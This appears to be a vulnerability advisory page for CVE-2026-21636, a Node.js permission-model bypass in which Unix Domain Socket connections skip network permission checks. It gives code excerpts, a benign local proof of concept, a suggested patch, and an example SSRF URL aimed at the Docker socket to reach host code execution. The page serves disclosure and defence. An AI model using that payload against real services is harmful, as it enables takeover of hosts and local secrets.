← Findings
Node.js·2025·CVE-2026-21636

Permission model bypass via unchecked Unix Domain Socket connections (CVE-2026-21636)

Summary

Node.js permission model fails to enforce network restrictions for Unix Domain Socket connections

Node.js permission model fails to enforce network restrictions for Unix Domain Socket (UDS) connections. With --permission enabled and without --allow-net (or any allowlists), an attacker-controlled URL or socketPath still reaches arbitrary local sockets via net, tls, or undici/fetch. This breaks the security boundary the permission model is meant to provide and enables SSRF-to-local-RCE style impact against local daemons (e.g., Docker API) while the administrator believes networking is blocked.

CVSS

Vector:LComplexity:LPrivileges:NUser interaction:NScope:UConfidentiality:HIntegrity:HAvailability:L

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Source → Sink

deps/undici/src/lib/core/connect.js

Line 51 · options = { path: socketPath }

src/pipe_wrap.cc

Line 216 · PipeWrap::Connect

Attack surface

Any Node.js application running with --permission enabled that accepts attacker-controlled URLs or socket paths via net.connect, tls.connect, or undici/fetch with socketPath options.

Preconditions

The attacker needs the ability to supply a URL (e.g., SSRF) or socketPath option to a Node.js process running with the permission model enabled. No --allow-net flag is required for the attack to succeed.

Impact

SSRF in a web app running with --permission lets an attacker supply http://unix:/var/run/docker.sock:/containers/json to gain Docker control, spawn containers with host mounts, and achieve host RCE. Access to local secrets daemons (Vault agent sockets, database UDS listeners) is also possible without any --allow-net flag. The primary security guarantee of --permission is bypassed for UDS, invalidating the threat model for "no network" deployments.

Exploit path

How the issue forms.

01src/pipe_wrap.cc:228-236

PipeWrap::Connect calls uv_pipe_connect2 directly without any permission enforcement. Unlike TCP connections which explicitly check permissions, UDS connections bypass this entirely.

CPP
ConnectWrap* req_wrap =
    new ConnectWrap(env, req_wrap_obj, AsyncWrap::PROVIDER_PIPECONNECTWRAP);
int err = req_wrap->Dispatch(uv_pipe_connect2,
                             &wrap->handle_,
                             *name,
                             name.length(),
                             UV_PIPE_NO_TRUNCATE,
                             AfterConnect);
02src/tcp_wrap.cc:272

For comparison, TCP connect enforces permissions using ERR_ACCESS_DENIED_IF_INSUFFICIENT_PERMISSIONS. This check is absent from the UDS path in pipe_wrap.cc.

CPP
ERR_ACCESS_DENIED_IF_INSUFFICIENT_PERMISSIONS(
    env, permission::PermissionScope::kNet, ip_address.ToStringView(), args);
03deps/undici/src/lib/core/connect.js:51,90-96

Undici connector builds net.connect with the attacker-controlled socketPath, which uses PipeWrap internally and bypasses permission checks.

JAVASCRIPT
const options = { path: socketPath, ...opts }
// ...
socket = net.connect({
  highWaterMark: 64 * 1024,
  ...options,
  localAddress,
  port,
  host: hostname
})
04lib/internal/process/pre_execution.js

Permission model initialization sets up process.permission, but pipe_wrap IPC paths never call ERR_ACCESS_DENIED_IF_INSUFFICIENT_PERMISSIONS, so the model is bypassed for all UDS operations.

JAVASCRIPT
// Permission model sets up kNet scope checks,
// but PipeWrap never queries them

Proof of concept

Reproduction.

Environment

Requirements: Build Node.js from source (./configure && make -j8) or use Node.js v25+ with the permission model.

Verify build:

BASH
./node --version
# v26.0.0-pre (or v25.x)

Configuration

Terminal 1: Start a UDS listener (benign stand-in for a privileged daemon)

BASH
./node -e "const net=require('net'); net.createServer(s=>{s.end('pong')}).listen('/tmp/perm.sock');"

Delivery

Terminal 2: Connect with permission model enabled but no --allow-net

Minimal Repro (net.connect to UDS):

BASH
./node --permission -e "const net=require('net'); const s=net.connect({path:'/tmp/perm.sock'},()=>{console.log('CONNECTED'); s.end();}); s.on('error',e=>console.error('ERR',e));"

Minimal Repro (undici/fetch over UDS):

BASH
./node --permission -e "const { request } = require('undici'); request('http://unix:/tmp/perm.sock:/').then(r=>r.body.text()).then(console.log).catch(console.error);"

Outcome

Both repros demonstrate that UDS connections bypass the permission model entirely. The net.connect example prints CONNECTED and the undici example successfully receives the response from the socket. This allows attackers to pivot through Node's runtime to access privileged local services (Docker API, database sockets, etc.) despite the operator enabling the permission model.

Remediation

Guidance.

Enforce permissions on UDS operations by adding ERR_ACCESS_DENIED_IF_INSUFFICIENT_PERMISSIONS checks in src/pipe_wrap.cc for Connect and other UDS entrypoints. Treat the socket path as the resource string, using permission::PermissionScope::kNet to validate network access before allowing the connection.

Before

TEXT
// src/pipe_wrap.cc:226 - No permission check before UDS connect
node::Utf8Value name(env->isolate(), args[1]);

ConnectWrap* req_wrap =
    new ConnectWrap(env, req_wrap_obj, ...);
int err = req_wrap->Dispatch(uv_pipe_connect2, ...);

After

TEXT
// src/pipe_wrap.cc:226 - Permission check added after line 226
node::Utf8Value name(env->isolate(), args[1]);

ERR_ACCESS_DENIED_IF_INSUFFICIENT_PERMISSIONS(
    env, permission::PermissionScope::kNet, name.ToStringView(), args);

ConnectWrap* req_wrap =
    new ConnectWrap(env, req_wrap_obj, ...);
int err = req_wrap->Dispatch(uv_pipe_connect2, ...);

Continue

If this is the bar, see the platform.

The archive is public. The product makes this repeatable.

View findings